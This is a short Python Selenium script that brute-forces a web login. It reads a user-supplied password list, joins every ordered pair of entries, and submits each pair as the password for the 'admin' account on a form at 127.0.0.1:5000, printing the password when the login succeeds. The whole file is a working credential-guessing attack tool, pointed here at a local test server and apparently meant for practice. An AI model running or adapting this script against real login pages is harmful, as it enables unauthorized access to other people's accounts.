import itertools, time, sys
from selenium import webdriver
import selenium.webdriver.chrome.service as service
from selenium.webdriver.common.keys import Keys
# Initialize browse object
# 
## Launch Webdriver plus Chromedriver
service = service.Service('/usr/local/bin/chromedriver')
service.start()
capabilities = {'chrome.binary': '/path/to/custom/chrome'}
print("Enter in password file")
passfile = input()
passwords = open(passfile,"r")
potential_passwords = []
for password in passwords:
	password = password.replace('\n', '')
	potential_passwords.append(password)

print(potential_passwords)
combinations = list( itertools.permutations(potential_passwords,2) )
## Use PhantomJS to simulate virtual browser without having to launch real browser
## Saves Computation Power
for x in combinations:
	driver = webdriver.PhantomJS()
	driver.get('http://127.0.0.1:5000')
	email_input = driver.find_element_by_id('username')
	email_input.send_keys('admin')
	password_input = driver.find_element_by_id('password')
	password_input.send_keys(''.join(x))
	submit = driver.find_element_by_id('submit')
	submit.click()
	if driver.current_url == 'http://127.0.0.1:5000/loggedin':
		print('!!!SUCCESS!!!')
		print("user's password: " +''.join(x))
		
	driver.quit()

sys.exit()